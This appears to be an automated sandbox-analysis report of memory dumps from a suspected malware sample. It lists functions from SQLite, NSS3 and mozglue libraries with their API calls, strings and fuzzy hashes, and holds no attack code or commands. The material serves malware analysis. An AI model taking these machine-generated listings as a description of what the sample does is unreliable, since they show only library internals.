database corruption, xrefs: 6C33F48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C33F483

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 6da38e3e66be3933e9f1d968bbde93497251fb872e0186920e091a21a5b35391
Instruction ID: abe6988f8e6d88f8a27f44caca974d370746d7ff935612861f010013b960db53
Opcode Fuzzy Hash: 6da38e3e66be3933e9f1d968bbde93497251fb872e0186920e091a21a5b35391
Instruction Fuzzy Hash: 12620374A043A58FEB04CF65C440B9ABBB1BF4931CF585198D8495BB92D336EC86CFA1

Function 6C34AEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C46CF46,?,6C33CDBD,?,6C46BF31,?,?,?,?,?,?,?), ref: 6C34B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C46CF46,?,6C33CDBD,?,6C46BF31), ref: 6C34B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C46CF46,?,6C33CDBD,?,6C46BF31), ref: 6C34B0A2
CloseHandle.KERNEL32(?,?,6C46CF46,?,6C33CDBD,?,6C46BF31,?,?,?,?,?,?,?,?,?), ref: 6C34B100
sqlite3_free.NSS3(?,?,00000002,?,6C46CF46,?,6C33CDBD,?,6C46BF31,?,?,?,?,?,?,?), ref: 6C34B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C46CF46,?,6C33CDBD,?,6C46BF31), ref: 6C34B12D

Part of subcall function 6C339EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C34C6FD,?,?,?,?,6C39F965,00000000), ref: 6C339F0E
Part of subcall function 6C339EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C39F965,00000000), ref: 6C339F5D

Strings

`Ll, xrefs: 6C34B0DF

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `Ll
API String ID: 3155957115-2213404674
Opcode ID: 4a9c92e2d612674528fe5a95a6f08cad76f7bc44a513a0f5ebb1857fca388370
Instruction ID: f1e093a77a4d378fbdd3595247710cbbf6eff3830787f0c1c28ceec47f90b5a1
Opcode Fuzzy Hash: 4a9c92e2d612674528fe5a95a6f08cad76f7bc44a513a0f5ebb1857fca388370
Instruction Fuzzy Hash: BA91ACB0A04605CFEB04CF65CC85AABB7F5BF45309F15862DE4569BA50EB31E880CFA5

Function 6C3E0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C3E0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C3E0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C3E1006
PK11_FreeSymKey.NSS3(?), ref: 6C3E101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C3E1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C3E103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C3E1048
memcpy.VCRUNTIME140(?,?,?), ref: 6C3E108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C3E10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C3E10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C3E112E

Part of subcall function 6C3E1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C3E08C4,?,?), ref: 6C3E15B8
Part of subcall function 6C3E1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C3E08C4,?,?), ref: 6C3E15C1
Part of subcall function 6C3E1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3E162E
Part of subcall function 6C3E1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3E1637

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: c1e46b4b807d69a44e69fb7dbc22db9d12e58f060ad0494486da3f09ed7db3bb
Instruction ID: 052a34f748d5eb7d663c28efa74fca403376787e3bab4bb6228ea506aeb61a90
Opcode Fuzzy Hash: c1e46b4b807d69a44e69fb7dbc22db9d12e58f060ad0494486da3f09ed7db3bb
Instruction Fuzzy Hash: 7F71EFB1E002158FDB00CFA5CC85AAAB7B5BF48318F14862EE91997712E732E955CF91

Function 6C340FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C33CA30: EnterCriticalSection.KERNEL32(?,?,?,6C39F9C9,?,6C39F4DA,6C39F9C9,?,?,6C36369A), ref: 6C33CA7A
Part of subcall function 6C33CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C33CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C34103E
EnterCriticalSection.KERNEL32(?), ref: 6C341139
LeaveCriticalSection.KERNEL32(?), ref: 6C341190
sqlite3_free.NSS3(00000000), ref: 6C341227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C34126E
sqlite3_free.NSS3(?), ref: 6C34127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C341267
winAccess, xrefs: 6C34129B
PLl, xrefs: 6C34109E

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: PLl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-740788405
Opcode ID: cb6652cce762ba7f2e1e4a7bd899ce080fc092ab77b5355284a78cdf82e74520
Instruction ID: b4b7d04ea98d84ea81f935935b06f3d9bce071a5a6ce5df7a5a48601e487a768
Opcode Fuzzy Hash: cb6652cce762ba7f2e1e4a7bd899ce080fc092ab77b5355284a78cdf82e74520
Instruction Fuzzy Hash: 5471F871705A01DFEB04DF25DC49A6A73F5EB86368F15822DE811C7A80EB71D811CF96

Function 6C406C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C3B1C6F,00000000,00000004,?,?), ref: 6C406C3F

Part of subcall function 6C45C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C45C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C3B1C6F,00000000,00000004,?,?), ref: 6C406C60
PR_ExplodeTime.NSS3(00000000,6C3B1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C3B1C6F,00000000,00000004,?,?), ref: 6C406C94

Strings

gfff, xrefs: 6C406D9C
gfff, xrefs: 6C406D66
gfff, xrefs: 6C406D30
gfff, xrefs: 6C406CFD
gfff, xrefs: 6C406CF5

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 57832b236cdf709d4b5e4e10969b56964c99836fae1eaa8b1ceb0d69526b5bed
Instruction ID: 2685bd0c39dd9d01c86429e33deee279cc37fa36d60545ccc56debd5aed40132
Opcode Fuzzy Hash: 57832b236cdf709d4b5e4e10969b56964c99836fae1eaa8b1ceb0d69526b5bed
Instruction Fuzzy Hash: D4514D72B015494FC70CCEADDC52BDABBDA9BA4310F48C23AE842DB781D678D906C751

Function 6C480F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C481027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4810B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C481353

Strings

%02x, xrefs: 6C4812F6
%lld, xrefs: 6C48114B
-- , xrefs: 6C480FF5
'%.*q', xrefs: 6C481217, 6C481292
NULL, xrefs: 6C48119E
$, xrefs: 6C4812A0
zeroblob(%d), xrefs: 6C481223

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 5b88c9789a987f4fe1d1026a5f7e2e15903eaa149687a8e82b5f59aff6c35f01
Instruction ID: b75b7f958ed7e0e6513757281f709e609c4caa72ea915fa9b5da85653a1e6cd5
Opcode Fuzzy Hash: 5b88c9789a987f4fe1d1026a5f7e2e15903eaa149687a8e82b5f59aff6c35f01
Instruction Fuzzy Hash: B5E19071A0A3809FD715CF14C880E6BBBF1AF8A349F14891EE9E587B51E771E845CB42

Function 6C488FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C488FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4890DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C489118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C48915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C4891C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C489209

Strings

UUUU, xrefs: 6C489255
3333, xrefs: 6C48925E

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: ba2eb1104ff9f5a0443b451150286f4add1738cfda33ca0d5f96d9052555e1ba
Instruction ID: eda4ae8de490f02dd3c698de50a9c20faa53ccede19d4f56528a85c515661efc
Opcode Fuzzy Hash: ba2eb1104ff9f5a0443b451150286f4add1738cfda33ca0d5f96d9052555e1ba
Instruction Fuzzy Hash: 0CA19D72E005159BDB04CB69CC81FAEB7B5AF49328F0A4129E915AB751E736EC01CBE1

Function 6C4C8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C5114E4,6C47CC70), ref: 6C4C8D47
PR_GetCurrentThread.NSS3 ref: 6C4C8D98

Part of subcall function 6C3A0F00: PR_GetPageSize.NSS3(6C3A0936,FFFFE8AE,?,6C3316B7,00000000,?,6C3A0936,00000000,?,6C33204A), ref: 6C3A0F1B
Part of subcall function 6C3A0F00: PR_NewLogModule.NSS3(clock,6C3A0936,FFFFE8AE,?,6C3316B7,00000000,?,6C3A0936,00000000,?,6C33204A), ref: 6C3A0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C4C8E7B
htons.WSOCK32(?), ref: 6C4C8EDB
PR_GetCurrentThread.NSS3 ref: 6C4C8F99
PR_GetCurrentThread.NSS3 ref: 6C4C910A

Strings

%u.%u.%u.%u, xrefs: 6C4C8E74

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: e300307e01044fe9e3e19da4fee8aea8a988048d4fd311f0614e3ac39c1a825a
Instruction ID: f047c44470406a879835055c30eaf4e23196f57cac9b90197156e2cc3bab6457
Opcode Fuzzy Hash: e300307e01044fe9e3e19da4fee8aea8a988048d4fd311f0614e3ac39c1a825a
Instruction Fuzzy Hash: 6302CC39B052619FEB14CF19C459FA6BBB2EF52308F19825EC8914BBB1C732D905C392

Function 6C2E2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C2E2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C2E2C61

Part of subcall function 6C294DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C294E5A
Part of subcall function 6C294DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C294E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C2E2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C2E2E2D

Part of subcall function 6C2A81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C2A81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C2E2E3B
(root), xrefs: 6C2E354F
expected a Time entry, xrefs: 6C2E2E36

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 6a61e96eb41c31ce9d233c488225a4b11223dfc1d30efe1929624316a975c505
Instruction ID: 7cfe30160377e3d845baebd1c0526d05d7c36b56e89084481c166fa19d3acbe6
Opcode Fuzzy Hash: 6a61e96eb41c31ce9d233c488225a4b11223dfc1d30efe1929624316a975c505
Instruction Fuzzy Hash: 7A91D2B460878A8FC714CF24C48469FB7E4AF89358F90491DE99AA7B50DB30D949CF52

Function 6C34EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6C34F0A6, 6C34F2D5
view, xrefs: 6C34F061, 6C34F071, 6C34FAB7
temporary table name must be unqualified, xrefs: 6C34F734
there is already an index named %s, xrefs: 6C34F9D7
sqlite_master, xrefs: 6C34F0AB, 6C34F2DA, 6C34F757, 6C34F93E
table, xrefs: 6C34F05C, 6C34FABC, 6C34FAC7
not authorized, xrefs: 6C34F957, 6C34F9BA
authorizer malfunction, xrefs: 6C34F95C, 6C34F9BF, 6C34FA5E, 6C34FA8B
%s %T already exists, xrefs: 6C34FAC8

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 6e5de4943fb8694ed32341029e11f2c4c77f1a43d17c13f4782649838346e68c
Instruction ID: e1173841c3be6c916ac8d49c1571d3c7cb87268f26fe02f89eb5d8a1e7c76604
Opcode Fuzzy Hash: 6e5de4943fb8694ed32341029e11f2c4c77f1a43d17c13f4782649838346e68c
Instruction Fuzzy Hash: 9972AD70E042058FDB14CF68C484BAABBF6BF4D308F1981A9D8559BB52D776E846CF90

Function 6C30545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C308A4B

Strings

~q)l, xrefs: 6C3056C7, 6C305703, 6C309269, 6C30921F, 6C305740, 6C309459, 6C30948F

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: memset
String ID: ~q)l
API String ID: 2221118986-4292196428
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 232df98d8ce7b9a74337f6e59f51ec8bdad7c6e613a82e2e6e1d24394fb93122
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D3B1D472B0121A8FDB14CF68CC917A9B7B6EF85314F1802A9C589EB781D730A985CF91

Function 6C30542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C3088F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C30925C

Strings

~q)l, xrefs: 6C3056C7, 6C305703, 6C309269, 6C30921F, 6C305740, 6C309459, 6C30948F

Memory Dump Source

Source File: 00000000.00000002.2206661284.000000006C291000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C290000, based on PE: true

Associated: 00000000.00000002.2206605715.000000006C290000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206774883.000000006C30D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206835734.000000006C31E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2206892942.000000006C322000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c290000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: memset
String ID: ~q)l
API String ID: 2221118986-4292196428
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: f43f4d33f10d66efb3b37d9bbdb3c50014eb3ebc953b15ea8368e7c50b555b21
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 5CB1B573F0120ACBDB14CE58CC916E9B7B6AF85314F1502B9C949DBB85D730A989CF91

Function 6C390820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6C3911D2

Strings

rows deleted, xrefs: 6C3917D2
@, xrefs: 6C390B17
not authorized, xrefs: 6C39175E, 6C391763
authorizer malfunction, xrefs: 6C391BD2

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: 3e08534480ba5cc635ec0f39ba85d920cda1432083c41c8e5d122de6e397d6c4
Instruction ID: 1c614963c4ccdcd278c4ca3aed6ef63b04ebe89a9ca5fc34abc50cc04486760b
Opcode Fuzzy Hash: 3e08534480ba5cc635ec0f39ba85d920cda1432083c41c8e5d122de6e397d6c4
Instruction Fuzzy Hash: 0FD27970E04249CFDB14CFA9C480B99BBF6BF49308F248169D455ABB51E772E956CF80

Function 6C4CCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4CD086
PR_Malloc.NSS3(00000001), ref: 6C4CD0B9
PR_Free.NSS3(?), ref: 6C4CD138

Strings

>, xrefs: 6C4CCF5B

Memory Dump Source

